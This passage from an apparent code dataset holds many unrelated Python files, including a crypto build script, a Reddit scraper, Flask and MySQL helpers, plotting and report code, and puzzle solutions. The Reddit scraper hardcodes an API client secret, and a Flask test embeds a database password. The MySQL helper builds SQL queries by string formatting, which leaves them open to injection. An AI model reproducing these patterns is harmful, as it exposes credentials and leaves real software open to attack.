(\"NUMS512W\",\"29\",\"512\",\"1\",\"-4\",\"PSEUDO_MERSENNE\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"NUMS512E\",\"29\",\"512\",\"1\",\"0\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"SECP256K1\",\"28\",\"256\",\"1\",[\"-11\",\"3\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"), # Change to 28\n (\"SM2\",\"28\",\"256\",\"1\",\"-9\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"), # Change to 28\n (\"C13318\",\"29\",\"255\",\"2\",\"2\",\"PSEUDO_MERSENNE\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"JUBJUB\",\"29\",\"255\",\"32\",\"1\",\"NOT_SPECIAL\",\"5\",\"EDWARDS\",\"-1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"X448\",\"29\",\"448\",\"1\",\"0\",\"GENERALISED_MERSENNE\",\"0\",\"MONTGOMERY\",\"156326\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"SECP160R1\",\"29\",\"160\",\"1\",\"3\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"C1174\",\"29\",\"251\",\"1\",\"0\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"C1665\",\"29\",\"166\",\"1\",\"0\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"MDC\",\"28\",\"256\",\"1\",\"0\",\"NOT_SPECIAL\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"TWEEDLEDUM\",\"29\",\"255\",\"33\",\"1\",\"NOT_SPECIAL\",\"5\",\"WEIERSTRASS\",\"0\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"TWEEDLEDEE\",\"29\",\"255\",\"34\",\"1\",\"NOT_SPECIAL\",\"5\",\"WEIERSTRASS\",\"0\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\")\n )\n\n pf_curves = (\n (\"BN254\",\"28\",\"254\",\"1\",[\"-1\",\"-1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BN\",\"D_TYPE\",\"NEGATIVEX\",\"71\",\"66\",\"128\"),\n (\"BN254CX\",\"28\",\"254\",\"1\",[\"-1\",\"-1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BN\",\"D_TYPE\",\"NEGATIVEX\",\"76\",\"66\",\"128\"),\n (\"BLS12383\",\"29\",\"383\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS12\",\"M_TYPE\",\"POSITIVEX\",\"68\",\"65\",\"128\"),\n (\"BLS12381\",\"29\",\"381\",\"1\",[\"11\",\"-2\",\"-1\",\"11\",\"3\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS12\",\"M_TYPE\",\"NEGATIVEX\",\"69\",\"65\",\"128\"),\n (\"FP256BN\",\"28\",\"256\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BN\",\"M_TYPE\",\"NEGATIVEX\",\"83\",\"66\",\"128\"),\n (\"FP512BN\",\"29\",\"512\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BN\",\"M_TYPE\",\"POSITIVEX\",\"172\",\"130\",\"128\"),\n (\"BLS12443\",\"29\",\"443\",\"1\",[\"-7\",\"1\",\"1\",\"11\",\"3\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS12\",\"M_TYPE\",\"POSITIVEX\",\"78\",\"75\",\"128\"),\n (\"BLS12461\",\"28\",\"461\",\"1\",[\"1\",\"4\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS12\",\"M_TYPE\",\"NEGATIVEX\",\"79\",\"78\",\"128\"),\n (\"BN462\",\"28\",\"462\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"1\",\"WEIERSTRASS\",\"0\",\"BN\",\"D_TYPE\",\"POSITIVEX\",\"125\",\"118\",\"128\"),\n (\"BLS24479\",\"29\",\"479\",\"1\",[\"1\",\"4\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS24\",\"M_TYPE\",\"POSITIVEX\",\"52\",\"49\",\"192\"),\n (\"BLS48556\",\"29\",\"556\",\"1\",[\"-1\",\"2\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS48\",\"M_TYPE\",\"POSITIVEX\",\"35\",\"32\",\"256\"),\n (\"BLS48581\",\"29\",\"581\",\"1\",[\"2\",\"2\",\"0\"],\"NOT_SPECIAL\",\"10\",\"WEIERSTRASS\",\"0\",\"BLS48\",\"D_TYPE\",\"NEGATIVEX\",\"36\",\"33\",\"256\"),\n (\"BLS48286\",\"29\",\"286\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BLS48\",\"M_TYPE\",\"POSITIVEX\",\"20\",\"17\",\"128\"),\n (\"BN158\",\"28\",\"158\",\"1\",[\"1\",\"1\",\"0\"],\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"0\",\"BN\",\"M_TYPE\",\"NEGATIVEX\",\"49\",\"42\",\"128\")\n )\n\n rsa_params = (\n (\"RSA2048\",\"128\",\"28\",\"2\"),\n (\"RSA3072\",\"48\",\"28\",\"8\"),\n (\"RSA4096\",\"64\",\"29\",\"8\")\n )\n\n total_entries = len(np_curves)+len(pf_curves)+len(rsa_params)\n\n def valid_query(number):\n return number >= 0 and number <= miracl_crypto.total_entries\n\n\ndef interactive_prompt_print():\n index = 1\n print(\"Elliptic Curves\")\n for tuple in miracl_crypto.np_curves:\n print(str(index) + \".\", tuple[0])\n index += 1\n\n print(\"\\nPairing-Friendly Elliptic Curves\")\n for tuple in miracl_crypto.pf_curves:\n print(str(index) + \".\", tuple[0])\n index += 1\n\n print(\"\\nRSA\")\n for tuple in miracl_crypto.rsa_params:\n print(str(index) + \".\", tuple[0])\n index += 1\n\ndef interactive_prompt_exect(index):\n index -= 1 # Python internally is zero-indexed\n if index < len(miracl_crypto.np_curves):\n tuple = miracl_crypto.np_curves[index]\n curveset(\n tuple[0], tuple[1], tuple[2], tuple[3], tuple[4],\n tuple[5], tuple[6], tuple[7], tuple[8], tuple[9],\n tuple[10], tuple[11], tuple[12],\n tuple[13], tuple[14]\n )\n elif index < len(miracl_crypto.np_curves) + len(miracl_crypto.pf_curves):\n tuple = miracl_crypto.pf_curves[index-len(miracl_crypto.np_curves)]\n curveset(\n tuple[0], tuple[1], tuple[2], tuple[3], tuple[4],\n tuple[5], tuple[6], tuple[7], tuple[8], tuple[9],\n tuple[10], tuple[11], tuple[12],\n tuple[13], tuple[14]\n )\n else:\n tuple = miracl_crypto.rsa_params[index-(len(miracl_crypto.np_curves)+len(miracl_crypto.pf_curves))]\n rsaset(\n tuple[0], tuple[1], tuple[2], tuple[3]\n )\n\ndef interactive_prompt_input():\n while True:\n userInput = input(\"\\nChoose schemes to support (select 0 to finish): \")\n try:\n return int(userInput)\n except:\n if (userInput == ''):\n return 0\n print(\"Non-integer input, select values between 1 and \" + str(miracl_crypto.total_entries))\n interactive_prompt_input()\n\n\ninteractive_prompt_print()\nwhile keep_querying and not testing:\n query_val = -1\n while not miracl_crypto.valid_query(query_val):\n query_val = interactive_prompt_input()\n if not miracl_crypto.valid_query(query_val):\n print(\"Number out of range, select values between 1 and \" + str(miracl_crypto.total_entries))\n elif query_val == 0:\n keep_querying = False\n else:\n interactive_prompt_exect(query_val)\n\nif testing:\n for i in range(0, miracl_crypto.total_entries):\n interactive_prompt_exect(i+1)\n\nos.system(copytext+\"TestNHS.java \"+coreTestPath+slashtext+\"TestNHS.java\")\nos.system(copytext+\"TestKYBER.java \"+coreTestPath+slashtext+\"TestKYBER.java\")\nos.system(copytext+\"TestDLTHM.java \"+coreTestPath+slashtext+\"TestDLTHM.java\")\n\nif testing :\n os.chdir(\"core\")\n os.system(\"mvn clean install\")\n","sub_path":"java/config32.py","file_name":"config32.py","file_ext":"py","file_size_in_byte":22624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"100297089","text":"import praw\n\n'''\n\nPRAW is a Reddit interface object that allows the scraping of posts from subreddits.\n\nTo use grab_posts in it's current state, pass a list of subreddits, a list of numerical arguments for which posts to\ngrab, and an optional amount of posts to grab (defaults to one post). The function will scrape the desired posts from\nReddit and return a list containing lists (the actual posts) which hold the post's\ntitle, score, and url. You can then parse this returned structure to display the information or send it over twitter.\n\n'''\nclass Post:\n def __init__(self,title,score,url):\n self.title=title\n self.score=score\n self.url=url\n\n# don't change this, it's specific to the bot reddit account I made\nred = praw.Reddit(user_agent='windows:example.twitterredditbot:v.1 (by students)',\n client_id='9aUOvaqOIkNprg',\n client_secret='1DePUPByrds4R7lAk6xv1NyE1ww')\n\n\ndef grab_posts(subs, numposts=1): #default value, can be made larger for grabbing more posts\n info = [] #list to hold lists of info\n\n for post in red.subreddit(subs).top('day', limit=numposts):\n pst = [] # list to hold singular post info\n temp=Post(post.title,post.score,post.url)\n info.append(temp)\n return info #return it\n3\ndef grab_random():\t#grabs the top post over a day from a random subreddit and returns it\n\tpst=[]\n\tfor post in red.random_subreddit().top('day', limit=1):\n temp=Post(post.url,post.title,post.score)\n pst.append(temp)\n\n\treturn pst\n\n\n'''\nThis is just in here for testing, making sure that reddit is being scraped properly.\n\ngrab_posts will eventually just be called with a list of subreddit names gleaned\nfrom the database of registered users.\n\nIf we are going to be having the bot post the hot links from the past 24 hours\npublically, we will call grab_posts against a pre-chosen group of subs\n'''\nprint(grab_posts(\"memes\",5))","sub_path":"RedditImport.py","file_name":"RedditImport.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"596578347","text":"import pytest\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import Flask\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:mrootp@55Wd@localhost:3306/flasktest'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n\nclass Example(db.Model):\n id = db.Column('id', db.Integer, primary_key=True)\n name = db.Column('name', db.Unicode)\n\n\ndef test_dbconnection():\n test1 = Example.query.filter(Example.id == 1)\n test2 = Example.query.filter(Example.id == 5)\n test3 = Example.query.filter(Example.id == 52423)\n expected_output1 = expected_output2 = expected_output3 = ''\n for ex in test1:\n expected_output1 = ex.name\n for ex in test2:\n expected_output2 = ex.name\n for ex in test3:\n expected_output3 = ex.name\n\n assert \"Krishna\" == expected_output1\n assert \"Gopi\" == expected_output2\n assert '' == expected_output3","sub_path":"dbcon.py","file_name":"dbcon.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563176815","text":"import matplotlib.pyplot as plt\nimport mplleaflet\nfrom entities import Depot, Obstacle, TargetState, Point, Edge\n\n\nclass Graph:\n def __init__(self):\n self.targets = []\n self.depots = []\n self.obstacles = []\n self.temps = []\n self.edges = []\n self._cached_points = []\n\n def add_points(self, points):\n for point in points:\n self._add_point(point)\n self._update_cached_points()\n\n def _add_point(self, point: Point):\n if isinstance(point, Depot):\n self.depots.append(point)\n elif isinstance(point, Obstacle):\n self.obstacles.append(point)\n elif isinstance(point, TargetState):\n self.targets.append(point)\n else:\n raise ValueError(\"Undefined type {}\".format(type(point)))\n\n def _update_cached_points(self):\n self._cached_points = self.targets + self.depots + self.temps\n\n def get_available_points(self) -> [Point]:\n return self._cached_points\n\n def add_edge(self, edge: Edge):\n if edge.start not in self.get_available_points():\n raise ValueError(\"Edge starts from non-existent point\")\n if edge.end not in self.get_available_points():\n raise ValueError(\"Edge ends with non-existent point\")\n self.edges.append(edge)\n\n\nclass Plotter():\n def __init__(self, graph: Graph):\n self.graph = graph\n\n def plot_points(self):\n depots = [[p.x, p.y] for p in self.graph.depots]\n plt.plot(*zip(*depots), marker='o', color='b', ls='')\n targets = [[p.x, p.y] for p in self.graph.targets]\n plt.plot(*zip(*targets), marker='o', color='g', ls='')\n obstacles = [[p.x, p.y] for p in self.graph.obstacles]\n plt.plot(*zip(*obstacles), marker='o', color='r', ls='')\n\n def plot_edges(self):\n for e in self.graph.edges:\n plt.plot([e.start.x, e.end.x], [e.start.y, e.end.y], color=e.color,\n linewidth=3.0)\n\n def show(self):\n mplleaflet.show()\n\n\nif __name__ == '__main__':\n points = [\n Depot(x=1, y=1),\n Depot(x=1, y=3),\n Depot(x=1, y=5),\n TargetState(x=5, y=0),\n Obstacle(x=3, y=2, radius=1),\n Obstacle(x=3, y=4, radius=0.5)\n ]\n\n edges = [\n Edge(points[0], points[4], 0),\n Edge(points[4], points[6], 0),\n Edge(points[1], points[6], 0)\n ]\n\n g = Graph()\n\n g.add_points(points)\n\n [g.add_edge(edge) for edge in edges]\n\n p = Plotter(g)\n p.plot_points()\n p.plot_edges()\n p.show()\n","sub_path":"entities/draw_entities.py","file_name":"draw_entities.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"191163819","text":"import json\nimport sys\nimport os\nfrom os import path\nimport altair as alt # pip install altair | pip install altair_save\nimport numpy as np # pip install numpy\nimport pandas as pd # pip install pandas\nfrom scipy import stats\n\n\nclass RegressionGenerator:\n\n '''Useful to test the effect of X over Y\n By default performs linear regression and returns R^2.\n Saves scatterplot.\n If you know what you're doing:\n Can change the degree of the regression polynomial.\n Can use ridge/lasso/log/ regression.\n Else:\n R^2 closer to 1 means there's a strong correlation.\n\n '''\n\n def __init__(self, filepath: str):\n self.data = pd.read_csv(filepath, header=0, skiprows=[0], names=[\n \"total_states\", \"unique_states\", \"collisions\", \"resizes\", \"time\"])\n alt.themes.enable('opaque')\n\n def generate_report(self, base_path, x='total_states', degree=1):\n '''Saves the scatterplot of x vs y for every y in the csv'''\n cols = self.data.columns\n for col in cols:\n if col != x:\n self.generate_graph(x, col, base_path, degree)\n\n def generate_graph(self, x, y, base_path, degree=1):\n '''Generates a scatterplot of x vs y, also fits a linear regression of degree 'degree' '''\n if x not in self.data.columns or y not in self.data.columns:\n raise AttributeError(\"Selected metrics are not valid\")\n _data = pd.DataFrame({f'{x}': self.data[x], f'{y}': self.data[y]})\n\n _results = self.polyfit(_data[f'{x}'], _data[f'{y}'], degree)\n\n RegressionGenerator.print_results(_results, x, y)\n _chart = alt.Chart(_data).mark_point().encode(\n alt.X(f\"{x}\", type='quantitative'), alt.Y(f\"{y}\", type='quantitative')).properties(title=f\"{x} vs {y}\")\n\n _chart = self.generate_regression(_chart, x, y, degree)\n\n RegressionGenerator._save_chart(_chart, x, y, base_path)\n\n @staticmethod\n def print_results(results, x, y):\n print(f\"Result test {x} vs {y}\")\n for i, j in enumerate(results['polynomial']):\n print(f\"x_{i}: {j}\")\n print(f\"R^2: {results['determination']}\")\n\n def generate_regression(self, chart, x, y, degree=1):\n chart += chart.transform_regression(x, y, order=degree,\n method='poly').mark_line(color='red')\n return chart\n\n def polyfit(self, x, y, degree=1):\n results = {}\n\n coeffs = np.polyfit(x, y, degree)\n\n # Polynomial Coefficients\n results['polynomial'] = coeffs.tolist()\n\n # r-squared\n p = np.poly1d(coeffs)\n # fit values, and mean\n yhat = p(x)\n ybar = np.sum(y)/len(y)\n ssreg = np.sum((yhat-ybar)**2)\n sstot = np.sum((y - ybar)**2)\n results['determination'] = ssreg / sstot\n return results\n\n @staticmethod\n def _save_chart(chart, x, y, base_path, scale_factor=1.0, _format='html'):\n chart.save(path.join(base_path,f\"{x}_vs_{y}.{_format}\"))\n\n\nclass HistogramGenerator:\n\n '''\n Generates histogram of collisions and probing records\n '''\n\n def __init__(self, filepath: str):\n with open(f'{filepath}', 'r') as filepath:\n lines = [json.loads(line.strip()[:-1])\n for line in filepath.readlines()]\n self.data = lines\n alt.themes.enable('opaque')\n\n def generate_report(self, base_folder, probing=False):\n for i in range(len(self.data)):\n self.generate_histogram(i, base_folder, probing=False)\n self.generate_histogram(i, base_folder, probing=True)\n\n def generate_histogram(self, x, base_folder, probing=False):\n # source = pd.DataFrame({f'{x}': self.data[x]})\n if not probing:\n _y = [i[1] for i in self.data[x]]\n else:\n _y = [i[0] for i in self.data[x]]\n _x = [i for i in range(len(_y))]\n source = pd.DataFrame({'x': _x, 'count': _y})\n base = alt.Chart(source)\n bar = base.mark_bar().encode(\n x=alt.X(f'x', title=\"Hash table bucket\",\n bin=False, type='quantitative'),\n y=alt.Y(f'count', title=\"Count of collisions \", type='quantitative', axis=alt.Axis(tickMinStep=1.0))).properties(title=f\"Collision Histogram {x} \").interactive()\n HistogramGenerator._save_chart(bar, x, base_folder, probing)\n\n @staticmethod\n def _save_chart(chart, x, base_folder, probing, scale_factor=1.0, _format='html'):\n s = 'probing' if probing else 'no_probing'\n chart.save(path.join(base_folder, f\"histogram_{x}_{s}.{_format}\"))\n\n\nclass HashTester:\n\n '''\n Tests the distribution of the hash function.\n If you know what you're doing:\n Performs K-S test.\n H_0 = NOT UNIFORM(0,1)\n H_1 = UNIFORM(0,1)\n Alpha = 0.05\n else:\n Useful for plotting a histogram of the hash function.\n '''\n\n def __init__(self, filepath: str):\n with open(f'{filepath}', 'r') as filepath:\n lines = [int(i.strip()) for i in filepath.readlines()]\n self.data = lines\n\n def _normalize(self, max_range: int):\n self.data = np.array([i / (max_range)\n for i in self.data], dtype=np.float64)\n\n def _kstest(self):\n d, p = stats.kstest(self.data, 'uniform')\n print(\n f'Uniform(0,1) distribution Kolmogorov–Smirnov test results: \\n p-value: {p}\\n d-value: {d}')\n return d, p\n\n def test_hash(self, max_range, val=0.05):\n self._normalize(max_range)\n d, p = self._kstest()\n if p < 0.05 or d < 0.05:\n print(\n f\"With a {val}-level significance, null hypothesis is REJECTED.\")\n else:\n print(\n f\"With a {val}-level significance, null hypothesis is ACCEPTED.\")\n\n @staticmethod\n def _save_chart(chart, base_path, scale_factor=1.0, _format='html'):\n chart.save(f\"{base_path}_hash_histogram.{_format}\")\n\n def generate_histogram(self, base_path):\n source = pd.DataFrame({f'x': self.data})\n base = alt.Chart(source)\n bar = base.mark_bar().encode(\n x=alt.X(f'x', title=\"hash(x) (normalized + binned) \",\n bin=True, type='quantitative'),\n y=alt.Y(f'count()', title=\"count of hash(x)\", type='quantitative')).properties(title=f\"Hash function distribution \").interactive()\n HashTester._save_chart(bar, base_path)\n\n def generate_report(self, base_path):\n num = (2**64) - 1 # Pon acá el recorrido de tu hash, por default R+\n self._normalize(num)\n self.generate_histogram(base_path)\n\n\n \n","sub_path":"Assignment 2/generate_report.py","file_name":"generate_report.py","file_ext":"py","file_size_in_byte":6674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"93698579","text":"import sys\nsys.stdin = open(\"input.txt\", \"r\")\n\n\"\"\"\n마지막 날부터 첫째 날 순서로 DP 적용\n\"\"\"\n\nN = int(input())\narr = []\nfor _ in range(N):\n work = list(map(int, input().split()))\n arr.append(work)\n\ndp = [0] * (N + 1)\n\nfor i in range(N-1, -1, -1):\n T, P = arr[i][0], arr[i][1]\n if i + T < N + 1:\n # 일 할 수 있는 날과 전날의 값을 비교하여 큰 값을 메모이제이션\n dp[i] = max(P + dp[i + T], dp[i + 1])\n else:\n dp[i] = dp[i + 1]\nprint(dp[0])","sub_path":"DP/14501_S4_퇴사.py","file_name":"14501_S4_퇴사.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"169190206","text":"# coding=utf-8\r\nclass Solution(object):\r\n def partition(self, s):\r\n \"\"\"\r\n :type s: str\r\n :rtype: List[List[str]]\r\n \"\"\"\r\n n=len(s)\r\n if n==0:\r\n return [[]]\r\n if n==1:\r\n return [[s]]\r\n return self.dfs(s, [], [])\r\n \r\n \r\n def isP(self, s):\r\n n=len(s)\r\n if n==0 or n==1:\r\n return True\r\n for i in xrange(n/2):\r\n if s[i]!=s[n-1-i]:\r\n return False\r\n return True\r\n \r\n def dfs(self, s, ans, res):\r\n n=len(s)\r\n if n==0:\r\n res.append(ans+[])\r\n return\r\n for i in xrange(n):\r\n if self.isP(s[:i+1] )==True:\r\n ans.append(s[:i+1])\r\n self.dfs(s[i+1:], ans, res)\r\n ans.pop()\r\n\r\n","sub_path":"N-S/Palindrome Partitioning.py","file_name":"Palindrome Partitioning.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"429626838","text":"import unittest\nfrom console import HBNBCommand\nfrom unittest.mock import patch\nfrom io import StringIO\n\n\nclass TestConsole(unittest.TestCase):\n\n def test_create_not_exist(self):\n with patch('sys.stdout', new=StringIO()) as testOutput:\n HBNBCommand().onecmd(\"create fake_state\")\n output = testOutput.getvalue().strip()\n self.assertEqual(output, \"** class doesn't exist **\")\n\n def test_create_no_exist(self):\n with patch('sys.stdout', new=StringIO()) as testOutput:\n HBNBCommand().onecmd(\"create\")\n output = testOutput.getvalue().strip()\n self.assertEqual(output, \"** class name missing **\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_console.py","file_name":"test_console.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"642979290","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 26 22:19:58 2017\n\n@author: PaulJ\n\"\"\"\n\nimport pandas as pd\nfrom calc_percent_grade import calc_percent_grade\n\n\ndef calc_ngs(speed=None,\n percent_grade=None):\n \"\"\"\n Function to calculate the nominal graded speed using rough correction\n factor related to percent grade. speed and percent_grade are expected as\n pandas Series\n \"\"\"\n\n if speed is None or percent_grade is None:\n raise ValueError('Speed or % Grade not passed')\n\n no_points = min(len(speed), len(percent_grade))\n\n nom_graded_pace = pd.Series()\n for a_point in range(0, no_points):\n if percent_grade[a_point] > 0:\n speed_ratio = 1 + percent_grade[a_point] * 0.0587135304\n else:\n # Reduced effect for running downhill per Mervyn Davies\n speed_ratio = 1 + percent_grade[a_point] * 0.0587135304 * 0.55\n this_ngp = speed[a_point] * speed_ratio\n nom_graded_pace = nom_graded_pace.append(pd.Series(this_ngp))\n\n nom_graded_pace.index = range(len(nom_graded_pace))\n\n return nom_graded_pace\n\nif __name__ == '__main__':\n POINT_DATA = pd.read_csv(\n filepath_or_buffer=('ExerciseData\\\\Test Data\\\\2017-03-19_Salt Lake ' +\n 'City Running_Running_pointData.csv'),\n index_col=0,\n encoding='ISO-8859-1')\n\n P_GRADE = calc_percent_grade(altitude=POINT_DATA['altitude'],\n distance=POINT_DATA['distance'])\n\n NGS = calc_ngs(speed=POINT_DATA['speed'],\n percent_grade=P_GRADE)\n\n POINT_DATA['Percent_Grade'] = P_GRADE\n POINT_DATA['Nominal_Graded_Speed'] = NGS\n\n print(\"POINT_DATA.iloc[:20][['speed', 'Percent_Grade', 'Nominal_\" +\n \"Graded_Speed']]:\\n\",\n POINT_DATA.iloc[:20][['speed',\n 'Percent_Grade',\n 'Nominal_Graded_Speed']])\n","sub_path":"calc_ngs.py","file_name":"calc_ngs.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"451510609","text":"#coding:utf-8\nimport MySQLdb\n\ndef mysql_data(a,b):\n conn = MySQLdb.Connect(\n host = \"127.0.0.1\",\n port = 3306,\n user = 'root',\n passwd = 'password',\n db = 'tmsf',\n charset = 'utf8',\n )\n\n cursor = conn.cursor()\n\n\n sql_insert = \"insert into jiage(name, jiage) values('%s',%s)\"%(a,b)\n #sql_update = \"update user set username='name91' where userid =9\"\n #sql_delete = \"delete from user where userid<3\"\n try:\n cursor.execute(sql_insert) #插入数据\n\n conn.commit() #执行mysql事务\n except Exception as e:\n\n conn.rollback()\n return e #出现错误进行事务回滚\n\n cursor.close()\n conn.close()\n\n","sub_path":"datanet.py","file_name":"datanet.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"614180976","text":"from shapely.geometry import Polygon\nfrom shapely.validation import make_valid\n\nfrom matplotlib import pyplot\nfrom descartes.patch import PolygonPatch\nfrom figures import SIZE, BLUE, RED, set_limits, plot_line\n\n\ninvalid_poly = Polygon([(0, 2), (0, 1), (2, 0), (0, 0), (0, 2)])\nvalid_poly = make_valid(invalid_poly)\n\nfig = pyplot.figure(1, figsize=SIZE, dpi=90)\nfig.set_frameon(True)\n\n\ninvalid_ax = fig.add_subplot(121)\n\npatch = PolygonPatch(invalid_poly, facecolor=BLUE, edgecolor=BLUE, alpha=0.5, zorder=2)\ninvalid_ax.add_patch(patch)\n\nset_limits(invalid_ax, -1, 3, -1, 3)\n\n\nvalid_ax = fig.add_subplot(122)\n\npatch = PolygonPatch(valid_poly[0], facecolor=BLUE, edgecolor=BLUE, alpha=0.5, zorder=2)\nvalid_ax.add_patch(patch)\n\nplot_line(valid_ax, valid_poly[1], color=RED, linewidth=1)\n\nset_limits(valid_ax, -1, 3, -1, 3)\n\npyplot.show()","sub_path":"docs/code/make_valid_geometrycollection.py","file_name":"make_valid_geometrycollection.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"513035233","text":"import cv2\nimport random\nimport sys\n\n\nclass IWimage():\n def __init__(self, fn, p):\n self.filename = fn\n self.windowname = fn+str(random.randint(1, 10))\n self.picShown = False\n self.pic = p\n self.height = 0\n self.width = 0\n self.error = True\n if type(p) != type(None):\n self.error = False\n self.height, self.width, _ = p.shape\n##\n# This function loads the image name passed in.\n# The function will pass back a reference to the\n# picture which needs to be stored for any future processing.\n# This function will not show the image\n\n\ndef loadPicture(filename):\n\n pic = IWimage(filename, cv2.imread(filename, cv2.IMREAD_COLOR))\n if pic.error:\n print(f\"Error: Could not open {filename}\", file=sys.stderr)\n return None\n return pic\n\n##\n# This function shows the image passed in as parameter.\n\n\ndef showPicture(pic):\n if pic == None or type(pic.pic) == type(None):\n return\n cv2.imshow(pic.windowname, pic.pic)\n cv2.waitKey(0)\n\n##\n# This function shows the image passed in as parameter.\n\n\ndef updatePicture(pic):\n if pic == None or type(pic.pic) == type(None):\n return\n cv2.imshow(pic.windowname, pic.pic)\n cv2.waitKey(0)\n\n##\n# This function returns the width of the picture as an integer.\n\n\ndef getWidth(pic):\n if pic == None:\n return 0\n return pic.width\n\n##\n# This function returns the height of the picture as an integer.\n\n\ndef getHeight(pic):\n if pic == None:\n return 0\n return pic.height\n\n\n##\n# This function returns the color at location x, y of the picture.\n# The color is returned as a list of three values\n# representing the red, green, and blue component of the color.\ndef getColor(pic, x, y):\n if pic == None or type(pic.pic) == type(None):\n return None\n if getHeight(pic) > y and getWidth(pic) > x:\n cl = pic.pic[y][x]\n return [int(cl[2]), int(cl[1]), int(cl[0])]\n else:\n return None\n##\n# Sets the color of the location x, y to color passed in.\n# The color is a list of three elements representing the\n# red, green, and blue component of the color\n\n\ndef setColor(pic, x, y, col):\n if pic == None or type(pic.pic) == type(None):\n return\n if (len(col) == 3 and 0 <= col[0] <= 255\n and 0 <= col[1] <= 255 and 0 <= col[2] <= 255\n and getWidth(pic) > x and getHeight(pic) > y):\n pic.pic[y][x] = [col[2], col[1], col[0]]\n\n\n##\n# This function will save the picture passed in as a file\n# using the name passed in the variable filename.\n# Make sure that the string filename has the proper\n# file extension for an image. File names can have\n# extensions \"gif\", \"jpg\", \"bmp\".\ndef savePicture(pic, filename):\n if pic == None or type(pic.pic) == type(None):\n return\n cv2.imwrite(filename, pic.pic)\n\n##\n# This function closes the window. This is important for\n# clean up at the end of working with an image.\n\n\ndef closeWindow(pic):\n if pic == None or type(pic.pic) == type(None):\n return\n cv2.destroyWindow(pic.windowname)\n","sub_path":"ImageWriter.py","file_name":"ImageWriter.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"103229066","text":"import re\nimport requests\nfrom bs4 import BeautifulSoup\n\n__all__ = ['HabrTopGrabber']\n\n\nclass 